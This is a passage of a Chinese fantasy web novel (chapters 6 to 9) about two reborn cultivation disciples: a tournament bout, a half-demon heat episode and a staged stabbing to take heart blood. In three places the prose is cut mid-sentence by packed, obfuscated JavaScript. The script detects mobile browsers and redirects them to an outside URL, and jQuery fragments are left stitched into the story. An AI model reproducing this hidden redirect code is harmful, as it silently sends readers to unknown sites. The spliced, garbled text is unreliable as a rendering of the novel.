顾钧寒再次回到了这个地方, 本属于他的地方。 他和楼明月一样,都是重活一世回来的人。 这辈子最让他不满的,就是多了个变量——陆南星。 他的视线一寸寸扫过房里的布局,在看到陆南星留下来的痕迹后,眼神有些狠戾。 他打开了房间北向的窗户,隔着一段长廊的距离,直勾勾地盯着正殿葳蕤的灯火。 楼明月的影子投映在窗纸上,很快又消失不见。 他以为师姐要准备就寝了,没想到她竟来了自己房里。 楼明月推门而入的时候,顾钧寒正在药浴。 蒸腾的热气裹着药香漫涌而来,氤氲缠睫,模糊了她的视线。 水中人宽肩窄腰,冷玉般的肌肤浸在暖汤里,覆着一层濛濛水色。劲瘦的腰侧却有一道烧伤,纹路虬结,凌厉可怖。 楼明月的目光紧盯着那道烧痕,双眸睁大,心底有些惊讶。 到底是什么品阶的火,能在邪神身上留下那么狰狞的痕迹? 水汽顺着下颌滑落,凝聚成珠,滴坠入水。清晰的坠水声,让沉默的气氛变得有些缠绵。 顾钧寒自始至终盯着她,视线不曾离开过一秒。 热气熏的她身子发热,连脑袋都有些昏沉。 身后门缝外的冷风钻入,搅散了这腾腾热气,她看清了对方灼烈沉稳的眼神,一瞬间身上有些发麻。 这个眼神…… 怎么那么像上辈子的顾钧寒。 他身子稍后靠着浴桶,嘴角和眼尾噙着一抹意味深长的笑意。 “师姐大驾寒舍,需要我起身迎接一下吗?” “……不用。” 楼明月走向一旁的桌案,将药包放下。 “这是我从三圣山拿回来的药,鬼沼山试炼在即,你重伤急愈,一日三次不可耽误。” 她顿了顿,又道:“南星听说你也受伤了,让我转告你夜里风紧,切记锁好门窗。” “他很关心你,你和他之前走的近,关系应该很好吧,怎么不见你去看看他?” 顾钧寒沉默了一会儿,面上神色很不高兴,直接省略了她后面的两句话,语气生硬道: “后天就要出发了,我现在就算一天喝六顿也来不及了吧。” 楼明月被堵得哑口无言。 她的确不该在赛前下重手。 “不过没关系,师姐与我同去,肯定会保护我吧?” 她想起自己取心头血的计划,眯起眼睛违心道:“师姐当然会保护你……” 白刀子进红刀子出的“保护”。 楼明月走后,顾钧寒的身侧蹿出来一只毛茸茸的蜜蜂,胖乎乎的像只毛毛虫。 这只小蜂虫明显开了灵智,通人语也识人心。 它震着翅膀飞在半空,戳了戳自己的两条触角,犹豫地开口:“主人,明月仙子好像怀疑你了!” “她刚刚说陆南星,是不是在点你啊?” 听到这个名字,顾钧寒冷哼一声。 “师姐还是对我有太多偏见,陆南星出了事第一个就算到我头上。” 小绒蜂抓了抓脑袋,嗡嗡道:“这个其实也不算偏见吧……啊!!” 它实话还没说完,就被顾钧寒一捧水打得滚落在地。翅膀湿透了,艰难蛄蛹着跳出水坑。 做蜜蜂的第一条, 不要跟玩儿不起的人说实话! 6. 第 6 章 鬼沼山,是近两年才被从浮屠禁地分割出来的一部分。 玄墟年间,上古归墟秘境开启,宝物频频,引发战乱、灾祸无数。 天翎宗的浮屠城,恰巧被一块儿归墟碎片并入,其中蕴含的机缘和宝物数不胜数,成了天下人轰抢的对象。 所有觊觎宝物的人,最终都成了山中亡魂,浮屠怨鬼。 沧澜元年,秘境暂封,天下初定。 三宫宫主商议后将浮屠城列为禁地,后又因为其中机缘宝物最盛,派人打扫出来一重小山,供弟子入内试炼。 在前往鬼沼山之前,还需要通过一场比赛来决定进入其中的顺序。 试赛魁首,可以比旁人早半个时辰进入,抢夺资源。 如果可以,楼明月自然希望顾钧寒能夺得试赛魁首。 那半个时辰里,只有三个人,她才更好下手,避免事后被稽查司追查。 此刻在獬豸山,试赛的擂鼓已经敲响,参与鬼沼山试炼的人也全部就位。 楼明月看向台上的顾钧寒,心里后悔到了极点。 和一众魁梧方正的参赛弟子相比,他的状态最差。 瘦削的下巴棱角分明,毫无血色的脸迎着日头苦晒,蹙眉颤睫,好像下一秒就要咳出血一般。 昨天失手把他打成了重伤,今日还能站在台上就已经不错了。 周漾看着台上的顾钧寒,同样摇了摇头。 “这小师弟看起来也太虚了,不知道的还以为太清宫虐待他了呢!” 虐待? 楼明月想了想,算他咎由自取吧。 顾钧寒在先前的夜猎得了头奖,只需要最后比一场。 他的对手是玄英宫的鱼锦澄。 好巧不巧,鱼锦澄是温珒怀最看好的一个师弟。 新入内的弟子们都有向她抛出过橄榄枝,温珒怀却独独应了鱼锦澄的邀约。 大部分人认为,温师姐是看中了他的天赋;也要少部分偏激的人,认为她是看中了鱼锦澄的男色。 少部分偏激人士……例如周漾。 他在上场前特意拉过顾钧寒,语重心长的嘱咐道: “赢不赢的不重要!你就是最后一个进入鬼沼山,大不了咱们明抢。你替二哥,把那小狐狸精打破相就行!!” 他说的义愤填膺,毫不避讳。 不少人听见这话,顿时倒吸了一口凉气,视线纷纷朝这边投注。 楼明月无奈扶额,毅然偏过头,装作和他不熟。 顾钧寒难得沉默,嘴角抽搐了一下,带着这份不正经的嘱托上了擂台。 鱼锦澄盯着他,神情一脸复杂: “喂,你不会真要对我下黑手吧?” 顾钧寒不轻不重地“嗯”了一声。 年轻气盛的小鱼顿时恼火,啐了一声,骂道:“你们太清宫真是不要脸!大的不要脸小的也不要脸!” “来就来!看看是我先破相还是你先跪地求饶!” 能被向来苛刻挑剔的温珒怀看上的人,一定不是泛泛平庸之辈。 楼明月在心里为他捏了一把汗。 她不担心他会输,只担心他为了赢不惜暴露出邪殿的一招半式。 在场都是稽查司的人,但凡被他们嗅到一点儿不对劲,严刑拷打是一方面,非得把对方祖宗八辈都查清楚不可。 与先前的比试相比,这两人出招快准狠,且灵气爆发力强。 只是有一点,他们不针对彼此的命脉,却执着于进攻对方的面部…… 顾钧寒原本有机会扼住鱼锦澄的命脉,他却选择一拳打在对方的颧骨。 他整个人摔落在地,嘴角溢出一丝血迹,右脸肿得不成人样,眼睛也被迫半眯着。 周漾在台下大喊:“师弟好样的!再接再厉,二哥回去给你温酒烧肉——” 鱼锦澄气的咬牙切齿,比起顾钧寒,他更想冲下台撕了周漾。 一旁观战多时的温珒怀眉头紧蹙,冷声道:“我教过你,戒骄戒躁。” 他闻言身子一僵,青紫的脸上狰狞的神情逐渐平静。 他不再被周漾的挑衅带着情绪走,很快找到自己的节奏,恢复了平日里的状态。 温珒怀偏眸,瞥了一眼擂台对面的周漾。 他察觉到这抹视线,立刻摆出一副痴汉似的笑脸,朝着她“挤眉弄眼”。 她冷呵一声:“下作。” 重伤未愈的顾钧寒很快落了下风,在对方的万仞齐发下,他脸颊侧顿时多了一道淋漓的伤口,身上的衣服也在躲避间被划破。 鱼锦澄看着那道伤口,心里满意多了,不过并没有打算就这么放过他。 他察觉出顾钧寒的伤势,想要趁着这个机会让他丑态百出,灭灭太清宫的气焰。 过重的内伤让他体力不济,与年轻气盛不带大喘气的小鱼相比,他浑身冒着冷汗,看起来已经力竭了。 鱼锦澄灵力化刃,最重的一击直接穿透他的肩膀,刃尾触血立即生出大片倒钩,血肉横飞,连带着上衣也被撕裂。 周漾目瞪口呆:“靠,这么狠。” 楼明月下意识凑近两步,看着台上那道摇摇欲坠的身影,焦急地扯了扯周漾的衣袖。 “你跟他说,让他认输作罢,晚些进去也没什么。” 周漾立刻大吼:“诶呦喂,不打了不打了!你们玄英宫的人心狠手辣、残害同门,这还怎么比啊!师弟,我们回家吃饭算了———” 楼明月一脸无语,气急道: “谁让你加戏了?二哥!你再这样口无遮拦下去,迟早会被人捆起来揍一顿的!” “不比了?”鱼锦澄咬牙,指着周漾道:“好啊,你那么会说,有本事你上来跟我打!” 周漾切了一声,伸了个懒腰惬意道:“我不跟毛头小子打,掉价———” 楼明月不知他是傻还是单纯的欠。 鱼锦澄在周漾这里受的每一分气,都会加倍转化到顾钧寒身上。他要肯认输下台子也就罢了,偏生他不认,鱼锦澄打也打得理所当然。 而顾钧寒,楼明月仔细看去,他的状态已经有些不对劲了。 本来被人扯了衣服就倍感羞辱,鱼锦澄看着他腰侧露出的那片狰狞烧痕,边打边嘲讽。 “难怪你想破我的相,原来是嫉妒小爷生得好!丑人多作怪,我看你这疤也是活该!” 顾钧寒冷笑一声,眼眸沉了下来,体内的另一股力量悄无声息地开始运转。 “顾钧寒,别再打了——” 楼明月忍不住出声制止。 如今他谁的话也听不进去。 颈上的妖珠吊坠被鱼锦澄多次针对。他试探出他重视哪个,就专门出手欲要毁了哪个。 躲闪时,他的指甲触到了顾钧寒最宝贝的妖珠,彻底惹怒了顾钧寒。 鱼锦澄能感受到,对方的气场完全变了。 方才的孱弱烟消云散,取而代之的是阴鸷强悍。 他干脆利落地撕掉了褴褛的上衣,将那点布料系在腰上,胸膛前的妖珠则被他整个没入唇齿,含在口中。 台下观战的楼明月腿脚一软,差点没栽过去。 幸好身旁的弟子及时扶住了她。 “明月师姐,你没事儿吧?” 弟子阿吟一脸担心地看着她。 楼明月摇了摇头,咬紧牙关止住唇齿的颤栗,一个字也说不出来。 她浑身发麻,像是被人点了穴道一般酥麻发痒,险些站都站不住。 混蛋顾钧寒! 怎么敢这么对她的妖珠?! 台上人莫名得了势,瞬间扭转了败局。 他最后打向鱼锦澄的那一拳,不知混着什么乌七杂八的力量,顷刻间封住了他的经脉,还不断向脉中输送着与之对冲的灵力。 对方浑身经脉暴起、肉眼可见的突兀立体于肌肤之上,越鼓越大,看起来胀得快要爆炸。 鱼锦澄服了,疼得眼泪鼻涕横流,再不敢和他叫板,连忙求饶认输。 不对,不对…… 楼明月抬头,慌忙去看几个稽查司使的神情。 顾钧寒身上已经泄出了邪气,可他们为何依旧面不改色? 她环视着在场众人。 所有人,除了她以外的所有人,没有任何人在这个少年身上察觉出不对。 为什么只有自己能感应到这些? 楼明月不解。 视线在匆匆一瞥后,与擂台上敲响胜鼓的少年相对。 他一双凤眼含情,英姿风流,嘴角噙着一抹笑意,轻微上扬时,露出齿间含着的那颗淡蓝色妖珠。 楼明月发现,那颗珠子释出了些许莹莹灵光,似乎消解逆压着他身上的邪气。 是自己的妖珠隐藏了他的邪气? 她看着少年脸上的笑意,越看越气。 这跟挑衅有什么分别? 挨千刀的顾钧寒,迟早要他把妖珠还回来!! 还不等她在心里发够牢骚,身体异样的反应就来了。 她心脏猛地一抽,一瞬间感觉整个灵魂都要被拔出体外。 呼吸停滞的那一秒,楼明月身子一瘫,直接跪在了地上。 阿吟拉不住她,扶住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059040|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳膊,蹲在她身旁惊恐大喊:“师姐!师姐你没事儿吧?!” 这一喊,吸引了所有人的注意力。 楼明月面色潮红,大脑浑浑噩噩。眉眼额心处,显露出一个溢满清气的、上下浮动着的印记。 “师姐,你的神印怎么露出来了?”阿吟惊讶道。 神印…… 只有她自己知道这是一场骗局。 她以半妖之身的“妖印”,冒充着所谓仙人转世的“神印”。 这枚妖印,只会在她压不住妖性的时候显露。 现在的她,是妖珠受到刺激后,迎来了作为成年半妖的第一次情泛期。 她不知道自己的妖种,只知道自己的情泛期比其他大妖来得格外凶猛。 百妖谱查司上查不出她的妖种,也找不到记录在册的与她印记相同的妖印。 就好像这世间,只有她这个半妖独树一帜似的。 唯一知道她身份的师父楼溪滕,不肯吐露一星半点,更是视“妖”之一字为逆鳞。 “明月…明月?” 周漾轻轻摇了摇她的身子,五指在她眼前晃动。 她的眼睛依旧聚不起神,身上越来越烫,像是在孽海沉沦的一叶浮萍。努力保持着自己的稳定,却终究抵不过滔滔浪卷的汹涌。 要了命了,她快被溺死了…她根本喘不上气…… 周漾:“这病来得蹊跷,赶快送去三圣山,让掌教亲自来诊!!” 楼明月闻言被吓精神了一分。 不行! 绝不能让别人知道她的身份! 楼明月用尽力气推开了周漾,狠狠咬住舌根保持着自己的清醒。 “我没事,都不要跟过来!” 她用灵力强行压制着妖印,随即爬起身,踉跄着往昆吾山的方向跑。 没走两步,楼明月忽然感到身子一轻,随即是一阵天旋地转。 等她回过神,迷惘地睁开眼时,顾钧带着一道血痕的脸,已经映入她的眼帘。 “师姐,我知道你要去哪儿,我带你回去。”他轻声安抚道。 他察觉到楼明月的挣扎,凑在她耳畔接着道:“你放心,我不会让任何人靠近你,也不会让任何人看到你现在的状态———” 楼明月看着他的重影,实在没有精力辨别这话背后的意味。 她在孽海中失去了牵引,滔滔浪卷翻了浮萍,意识也跟着沉入欲望之海的深处。 情泛期彻底淹没了她——— 她身子缩在顾钧寒怀里,循着妖珠的气息,一个劲儿的往他胸膛凑。 顾钧寒忍了一路,到了昆吾山内房后连忙把她放下。 她不再抗拒他,身子几乎在落塌的瞬间弹起,双臂揽住了他的脖颈。 就像那个梦里的楼明月一样主动。 顾钧寒身子微僵,盯着她迷离的神色,自嘲地笑了一声。 “你也只会在这个时候对我热情。” 他没有拒绝她,微凉的指间抚着她的脸颊,很快落下一吻。 脖颈贴上她的锁骨,双手绕至身后,自然地去解她的衣衫,还不忘谴责道:“醒了就忘的干干净净,看到我就像见了瘟神一样避之不及。” 他齿间用力,一口咬在她颈侧,尖锐的痛意传来,楼明月顿时吃痛地叫了一声,浑身抖得厉害。 “明天你看到这个印记,是不是会想,顾钧寒那个混账,竟然趁你不觉做出这等下作事?” 楼明月意识不清,听他在耳边嘟嘟囔囔啰嗦了好多,蹙了蹙眉头,下意识出手捂住他的嘴。 “真没良心啊。”他轻笑一声,将她搂入怀中。 门外秋风瑟瑟,室内春光旖旎。日光透过门缝映入,将她的眼眸照成了通透的琥铂色。 她意识朦胧,拽住顾钧寒脖子上挂着的那颗妖珠,紧紧不放。 “我的……”她呢喃道。 顾钧寒对此意料之中,掌心覆在她的手背,晦暗的眸子自上而下地盯着她。 他俯下身,凑在她耳畔轻问: “想要这个,嗯?” 她眉头蹙得更紧了,不满意道: “这是…我的。” 他笑了,语气中带着些蛮不讲理的痞气:“原本是你的,但是在很多年前的那个晚上,它就已经属于我了。” “师姐,只要你回答我两个问题,我就把它还给你。” 顾钧寒伸手,指尖覆在她眉眼额心处,触碰着那道印记。 “妖才会有情泛期,师姐是妖吗?” “师姐头上的,究竟是神印……还是妖印?” 7. 第 7 章 “妖”这个字,是楼溪滕的逆鳞。 她一生中最重要的几个人,都和这个字关联的紧。 她最痛恨妖,曾经为了剿灭?貐妖族,不惜放火烧毁整个大绯山,和山中数以万计的生灵。 那日烟锁苍山,火光映天,倒映在小明月的瞳孔里,成了她一生都挥之不去的警示和梦魇。 楼明月同样对这个字敏感到了极点。 “不是。” 她面色发白,嘴唇发颤,几乎是立刻反驳了顾钧寒。 指尖嵌入掌心,逼着自己放弃唾手可得的妖珠。 顾钧寒看着她强迫自己违抗本能,气得点了点头,在心底咬牙强忍。 都是两辈子的人了,还是不肯接受自己半妖的身份。 “是妖又怎么样呢?”他攥住她的手腕,将人拽至身前,不甘心地追问。 “难道你要一辈子困在那个仙人转世的名头里?一辈子用噬妖水自残来压抑妖气?一辈子都心惊胆战怕被人识破身份?!” “我说了我不是!” 楼明月一把推开了他。 她埋藏心底最深的秘密和疤痕,都被顾钧寒翻了出来,一字一句直白地讲。 “你是!” “从我认识你的第一天起你就是!太清宫的掌灯弟子有什么好,我不信你从来没有想过做回半妖——” “啪”地一声,顾钧寒挨了她一巴掌。 她本就筋疲力尽,打完这一巴掌后双手艰难地撑在榻上。 “我不是妖,也不做妖……” 顾钧寒脸上传来火辣辣的刺痛感,脸上神情却异常平静,对此意料之中。 他没有预料到的是,楼明月垂着脑袋,滚烫的眼泪砸在他掌心。 他身子顿时一僵,感受着手心传来的那抹温度,愧疚如潮水般漫延。 他在心底叹了口气,无奈退让。 “好,你不是妖。”他伸手叩住她的脑袋,安抚道:“我们姣姣不是妖。” 听到这个称呼,楼明月一愣,怔然抬头看向他。 明月皎皎照花庭,姣姣伊人笑靥轻。 一曲清歌随夜起,相思尽付月华明。 姣姣是她的小名,除了舅爷以外几乎没人这么叫过她。 顾钧寒…他是怎么知道的? 对方讨好道:“师姐是天上月,是心上人,师姐——” 他话还没说完,楼明月却脱口而出道:“你喜欢我……” 他笑容僵住,眼底满是不可置信,声音激动地发颤:“你说…什么?” 楼明月也不知道自己在说什么胡话,只是方才那一瞬间,她脑海中浮现出一个画面。 月白劲装裹着清瘦身形,少年高高束起马尾,风过处,栾花尽落,发尾轻扫肩头。 他笑容明朗,眼睛干净又温柔,丝毫不掩饰自己的欢喜。 “师姐是天上月,是心上人,师姐,我喜欢你——” * 昆吾山,风清月朗。 当晚星第三次辉映的时候,楼明月从榻上醒来。 在伏心树的作用下,昨天所有关于情泛期的事情,都被忘得一干二净。 她不记得发生了什么,甚至不记得“遗忘”这件事本身。 所以她不会去想,不会去回忆,也不会去质疑。 她的目光转向窗外。 夜色沉浅,雾气正在一点点变薄,像是被风轻轻揉碎的棉絮,丝丝缕缕飘向天际。 只知道,等到天明,就该前往鬼沼山了。 她用术法幻化出一只传音纸鹤,将自己要取心头血的事情全盘托出,随即操控它,飞向翠微山周漾的房间。 而顾钧寒,他就站在门后,看着这只传音鹤从自己眼前飞走。 他早便站在这里候着她醒,因此楼明月没有察觉。 他听见她说:“此事绝密,勿要告知第三人。我需要取得他的心头血,绞断心脉后,留他一息。” 他咬了咬牙,气笑了。 姣姣,心真狠呐。 而另一边的周漾,他还蒙着头呼呼大睡,传音鹤在他耳畔叫了几声,被他一巴掌拍落在地。 音鹤小小一只,宽大的翅膀扶正了自己的脑袋,终于回过神来。 它扯着嗓子大喊:“唳呜呜呜————” 周漾立刻朝着声音发出的方向扔去一个枕头,眉头紧蹙不耐烦道: “吵吵吵,出去吵去——” 音鹤被枕头压住了身子,挣扎了好一阵儿才得解脱。 这次它不再嚎叫了,扑闪着翅膀飞至他床前,“邦邦邦——”,用自己的喙狠狠地去啄他的脑袋。 “诶呦…诶呦!什么东西啊?!” 周漾被啄了几下,立刻清醒过来。他睁开眼睛,看着手里扼住的传音鹤,一脸茫然。 “什么鬼……” 传音鹤身子抽搐,快被他捏死了,他见状连忙松手。 在他松手之后,楼明月的声音从中传出,使命尽到的传音鹤随之化为一阵清风散去。 他坐在榻上,刚刚醒来脑子还十分懵,匆匆听了一遍,抹了把脸努力回忆着。 什么绝密什么血…… 师妹好像要杀人? 这么一想,周漾睡不着了,立刻爬起来收拾东西。 虽然不知道她要对谁下手,总归得有个准备,先把自己的家伙事儿带上。 晚星第五次辉映,随着天边渐渐泛出鱼肚白,一点点淡去光泽,最终隐入苍穹,没了踪迹。 鼓声响起,三宫的新入内弟子,皆聚集在鬼沼山外。 首徒贺玄音得授宫铃,施法打开了鬼沼山的禁制。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059041|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原本笼罩山体的阴霾散去,层层雷电覆裹其表,电光四下窜跃、明灭闪烁,转瞬如潮水般向两旁退散,显露出一道供人通行的大门。 禁制打开后,立刻有人点上了一柱香。 贺玄音看着丝丝升起的青烟,只交代了一句:“注意安全,切莫逞强。” 顾钧寒在众人的注目下进入了鬼沼山门,紧随其后的是神色沉重的楼明月和嬉皮笑脸的周漾。 山中景色多凄厉,一路气压低沉,最顶端的浮屠城被一片云海包裹着,阴雷密集阻断了上城的山路。 走了一段距离后,楼明月忽然止步,说是看见了一头青羽鸾凤,但不能够肯定。 可是几人方才看见了一头姑获鸟,此刻正循着它的气息找,眼瞅着就要到它的巢穴了。 姑获鸟虽然比不上鸾凤珍贵,可那只姑获鸟的羽毛已然溢彩流光,堪称绝世罕见。 “我们只比旁人多半个时辰,最好分两路搜寻,尽可能快得找到稀世妖兽。” 楼明月说罢,便朝着另一条幽径走去。 她要名义上和顾钧寒兵分两路,至少蒙个面,换个身份再回去和他动手。 “等等!”周漾叫住了她,拉着她的手往旁边走了一段距离,低声秘密道: “你一个人去我不放心。” “不放心?”楼明月一脸疑惑。 不放心她做什么? 她要对顾钧寒动手,该被担心的人是顾钧寒才对吧。 周漾啧了一声,给她讲道:“人多力量大嘛!咱们也好速战速决。我觉得可以把小师弟也一起叫上,反正他手脚功夫不错……” “你到底知不知道我要做什么?” 楼明月闻言打断了他,一双眼睛睁大瞪着他。 周漾理直气壮道:“我当然知道,你看看我带来的这些工具,这不都是专门准备的嘛!” 他把锁物囊里的东西一件件拿了出来讲解道:“你看这铲子,到时候你杀完人,我就帮你刨个坑把尸体埋了。” “这麻袋,尸体一装沉湖也行;还有这太炎火种,我干脆一把火把他烧成灰,简直天衣无缝!” 楼明月听他越说越离谱,简直快被气得吐血。 她一把推开了他手头的工具: “我从来没说过我要杀人!” “没有……吗?” 周漾神情一僵,随即恍然大悟: “那只死鸟竟然敢乱报信!” 楼明月深吸了一口气,看着远处伫立等待的顾钧寒,拽了拽周漾的袖子。 “二哥,我只要取他的心头血。” 周漾闻言一愣:“谁的?” 楼明月没有回答,视线直直看向他身后的顾钧寒。 这回,周漾终于明白了。 “你不会对他因爱生恨了吧?” 8. 第 8 章 楼明月盯着他沉默了一阵,诚恳发问:“你能不能把丢在温珒怀哪儿的智商,拿回来一点儿?” 周漾摸了摸鼻子,心虚道:“行行行,不就是心头血吗,我给你打配合就是了!” “真是可惜我带这么多东西,如今全都用不上了……” 他把先前拿出来的那些“作案工具”重新收到锁物囊里,讪讪地跑了回去。 等候多时的顾钧寒一脸人畜无害,看得他十分心虚,神情略显慌乱。 “明月说的有道理,咱俩走一路先去寻那头姑获鸟,若真有青羽鸾凤等明月给我们放信号也不迟……” 他笑着点了点头,盯着楼明月离去的方向,狭长眼尾勾起一抹浅弧。 “我知道,师姐都是为了我好。” 周漾闻言心里倒吸了一口凉气。 呃……放血有益身体健康? 他平时嘴贱,爱接话更爱调侃,眼下知道真相后一个字都不敢多说,打了几个岔选择绕过这个话题。 楼明月说看到青羽鸾凤是假的。 鬼沼山里的最后一只鸾凤,早在几年前她来试炼的时候就已经被捕了。 只是可惜,当初她和温珒怀争抢这只鸾凤的时候,不小心误伤打死了它。 她俩知道,提着一具鸾凤的尸体出去定会挨骂,于是双双约定将此事烂在肚子里,就全当没见过什么鸾凤。 她顺着这条幽径走了大概百来步,一路留下自己的灵气气息做证据,再回头看去的时候早便没了他们的踪迹。 她换上一袭黑色劲装,头戴遮掩的帷帽,握着两把匕首就朝着他们的方向追赶。 周漾一路小心翼翼、提心吊胆,直到听到身后远处轻微的脚步声,才确定她跟来了。 他找了个拙劣的借口,说自己腰疼腿疼肚子疼,也许是太累了也许是中毒了。 总之就是再也往前迈不得一步,你要强迫我,那就是你的不对了。 顾钧寒点了点头,面无异常: “那我就不强人所难了,后面的路我一个人走就是,二哥回去休息吧。” 越往里走,越靠近浮屠城脚下,这里的魑魅就越多。 它们在空中游荡,虎视眈眈地围绕着他,聚起来的浊气汇成一片阴云覆盖天地,却始终没人敢靠近这个少年。 他步履稳健地朝前走着,在这样凄厉的场景下勾了勾唇角,心里想的是: 姣姣,什么时候才会动手。 一道银光闪过,穿过层层魑魅直奔他腹背。 顾钧寒侧身躲过,那把匕首擦着他的耳畔绕了回去。 魑魅群被这变故吓得四散而去,顾钧寒也看清了那人的身影。 姣姣,真可爱。 以为换了身衣服,带了个帷帽,他就不认得了? 做戏做全套,他还是配合地发问: “来者何人,何故动手?” 对方没有回答他,握着匕首再次气势汹汹地杀了过来。 她的招法凌厉,用的都是些基础招式,至少在功法上没有暴露自己的来处。 然而,她的所有伪装早就被顾钧寒看穿。 他知道她的目的,甘之如饴陪她演,心甘情愿如她意。 每一击,都目标明确地朝他心脏捅去。 只是她没想到,顾钧寒不躲就罢了,竟然直接用手接住了银刃。 鲜红的血液成股流淌,掌心的纹路深嵌匕首,这个犟种的力道却不减反增。 再这么下去,他这双手会废的…… 楼明月终究还是动了恻隐之心。 他抓住她的一次心软,很快钳制住她的双手,把她反压在了身后古树上。 隔着一层薄纱,如登徒子般贴在她耳畔,灼热的呼吸顿时烫得她缩了缩脖子。 他语气轻佻,不依不饶地靠近逼问:“我这人向来和善,尤爱怜香惜玉,究竟和姑娘有什么深仇大恨,非要你痛下杀手不可?” 他高大的身子压了下来,越凑越近,把她困在一方逼仄的空间里连呼吸都困难。 她咬唇抑制着自己的喘息,只能在心里大骂。 王八蛋! 上辈子怎么没看出来他这么轻浮不要脸?! 楼明月最终还是调动灵气,用术法将他逼退。 他身子踉跄着向后退时,重获自由的楼明月身法迅速,一刀刺入他的心脉。 他胸前白衣很快洇出一片血痕,血水顺着刃身流驻。 目的达到的那瞬间,帷帽也被人趁机摘下。 “啪”地一声,滚落在地。 凛冽的空气袭面而来,眼前人的面容由朦胧变得清晰,没有任何遮挡,直直对上了他的眼睛。 对方扬唇笑了笑,她的心也猛地一颤。 以为下一秒会迎来他的质问,谁料顾钧寒攥住她的手腕,连带着那把银寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059042|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐利的匕首一起,直直地往心口捅。 “扑哧”一声,匕首刺破血肉插得更深了,近乎三分之二都捅入了他的心脉。 滚烫的血液从伤口涌出,很快流淌包裹了她的手背。 楼明月瞪大了眼睛,难以置信地看着他,握着匕的手在止不住地发抖。 他是……故意的。 为什么? 为什么不躲反而要寻死? 顾钧寒身子颤栗,吐出一口血后支撑不住地向后倒,回过神的楼明月及时扶住了他。 他失力躺在她怀里,血液和体温不断流失,呼吸羸弱,面色也苍白到了极点。 楼明月看着他这副模样,心中有什么东西狠狠触动了一下。 对方眼皮沉重阖上眼,痛苦的呻吟随着大脑的昏沉而哽在喉间,安静地一言不发,让她仿佛看到了上辈子死时的顾钧寒。 明明濒死的是顾钧寒,她却难受得喘不上气,心里有什么东西很闷很沉重,逼出了她同样灼热的眼泪。 她看着落在他下巴的那滴清泪,一时有些恍惚。 重来一次,怎么又重蹈覆辙了呢? 周漾匆匆赶到,看到这幅场景满脸震惊。 “明月!不是说好只取心头血的吗,你怎么把他捅死了?!” 她神情无助地摇了摇头。 周漾比她冷静得多,先是放出遇险的信号弹,不多时就会有三圣山的医修和稽查司的司使进来寻人。 “刀子都挨了,先把血取了别浪费啊!” 他拿出一个小玉瓶,将顾钧寒胸前流淌的血液装入。 “快把你这衣服换了,一会儿稽查司的人来问话,你就说你刚刚赶来什么都不知道。” “二哥,你说他会死吗……”她失声呢喃道。 楼明月已经不敢低头,光是余光看到的那片深红就已经让她双手发抖。 周漾瞥了一眼他淋漓的伤口,在心底无奈地叹了口气。 都伤成这样了,九死一生,全看造化了。 他看着她失魂落魄的模样,只得宽慰道: “不会的,你和他是上辈子的冤家,冤家都没那么容易放过彼此的。” 上辈子的冤家? 如果顾钧寒两次都死在她手里,那的确是累世的冤家了。 如果顾钧寒死了,那个楼明月,那个喜欢他的楼明月…… 她会放过自己吗? 9. 第 9 章 遇险信号放出后,稽查司和三圣山立即出动,浩浩荡荡的人群进去又出来。 那位在大邙山夜猎和试赛擂台上都风头出尽、盛极一时的顾小师弟,如今竟然失去意识,浑身是血地被人抬了出来。 顾钧寒之后紧接着的就是鱼锦澄,他见对方变成了这副惨样,轮到他时总不由得担心起来。 “师姐,鬼沼山里到底有什么怪物啊,真的…有那么可怕吗?” 他犹豫地看向温珒怀。 温珒怀冷笑一声,向来淡漠的双眸浮上一抹轻易不可察觉的戏谑。 她的视线看向跟在队尾的楼明月,仿佛已经猜透什么。 “谁知道她们在搞什么鬼。” “一个禁区早就被扫清的鬼沼山而已,她十三岁就能横扫,我不信有人越活越回去了。” “他?” 鱼锦澄不解,顾钧寒难道不是和他一样刚进内山吗? 她睨了他一眼:“管好你自己吧,没人给你使绊子,你也轮不着闹这一出。” 话毕,她走向计天鼎前,点燃了属于鱼锦澄的那柱香。 贺玄音见此一惊,“稽查司还未查清楚危险源,现在进去恐怕不妥……” 温珒怀态度强势地打断了他:“贺师兄,太清宫如何我管不着,也请别耽误我们玄英宫弟子的试炼。” “你……”贺玄音看着她疏离的神情,一时语塞。 大家都是天翎宗的弟子,你何苦要分得那么清楚? 贺玄音拗不过她,最终还是放鱼锦澄一行人进去了。 另一边的顾钧寒,重伤之下昏迷不醒,三圣山的医修弟子对此皆束手无策,直接惊动了久不出山的掌教拂雪。 除却几个打下手的医修弟子外,旁人一律被赶了出去。 事态未清前,稽查司不允许任何人靠近顾钧寒,包括耍无赖的周漾。 两个时辰过去了,屋内只偶尔传来顾钧寒痛苦的低吟声。 